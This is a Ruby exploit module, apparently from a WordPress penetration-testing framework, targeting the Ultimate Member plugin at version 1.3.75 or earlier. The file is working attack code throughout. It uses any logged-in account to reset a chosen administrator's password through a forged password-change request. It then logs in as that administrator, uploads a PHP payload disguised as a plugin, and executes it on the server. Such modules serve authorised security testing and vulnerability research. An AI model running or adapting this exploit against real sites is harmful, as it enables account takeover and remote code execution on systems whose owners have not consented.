lib/wpxf/modules/exploit/shell/ultimate_member_shell_upload.rb
# frozen_string_literal: true
class Wpxf::Exploit::UltimateMemberShellUpload < Wpxf::Module
include Wpxf
include Wpxf::Net::HttpClient
include Wpxf::WordPress::Login
include Wpxf::WordPress::Plugin
def initialize
super
update_info(
name: 'Ultimate Member <= 1.3.75 Shell Upload',
desc: 'This module exploits a vulnerability that allows users of any level to change '\
'the password of any user. The module requires you login with an account of any '\
'level, which will then be used to change the specified admin users\' password. '\
'The compromised admin account will then be used to store and execute the payload.',
author: [
'James Golovich', # Discovery and disclosure
'rastating' # WPXF module
],
references: [
['WPVDB', '8688'],
['URL', 'https://ultimatemember.com/security-release-v1-3-76/']
],
date: 'Dec 08 2016'
)
register_options([
StringOption.new(
name: 'password_form_path',
desc: 'The path of the change password form (default is /account/password/)',
required: true
),
IntegerOption.new(
name: 'admin_user_id',
desc: 'The ID of the user to hijack the account of',
required: true
),
StringOption.new(
name: 'admin_username',
desc: 'The username of the admin user to hijack the account of',
required: true
)
])
end
def check
check_plugin_version_from_readme('ultimate-member', '1.3.76')
end
def requires_authentication
true
end
def password_form_url
normalize_uri(full_uri, datastore['password_form_path'])
end
def admin_user_id
normalized_option_value('admin_user_id')
end
def admin_username
normalized_option_value('admin_username')
end
def new_password
@new_password || @new_password = Utility::Text.rand_alphanumeric(3) +
Utility::Text.rand_alpha(1, :lower) +
Utility::Text.rand_numeric(2) +
Utility::Text.rand_alpha(1, :upper) +
Utility::Text.rand_alphanumeric(3)
end
def execute_password_change
execute_post_request(
url: password_form_url,
cookie: session_cookie,
body: {
'_um_password_change' => '1',
'timestamp' => Utility::Text.rand_numeric(3),
'user_password' => new_password,
'confirm_user_password' => new_password,
'user_id' => admin_user_id
}
)
end
def before_upload
emit_info "Changing password for #{admin_username} to #{new_password}"
res = execute_password_change
unless res.code == 302
emit_error "Password change returned status #{res.code}", true
emit_error "Failed to change the password for #{admin_username}"
return false
end
@admin_cookie = authenticate_with_wordpress(admin_username, @new_password)
return true if @admin_cookie
false
end
def upload_payload
plugin_name = Utility::Text.rand_alpha(10)
payload_name = Utility::Text.rand_alpha(10)
@payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
return true if upload_payload_as_plugin(plugin_name, payload_name, @admin_cookie)
emit_error 'Failed to upload the payload'
false
end
def execute_payload
res = execute_get_request(url: @payload_url)
emit_success "Result: #{res.body}" if res && res.code == 200 && !res.body.strip.empty?
end
def run
return false unless super
return false unless before_upload
emit_info 'Uploading payload...'
upload_payload
emit_info "Executing the payload at #{@payload_url}..."
execute_payload
true
end
end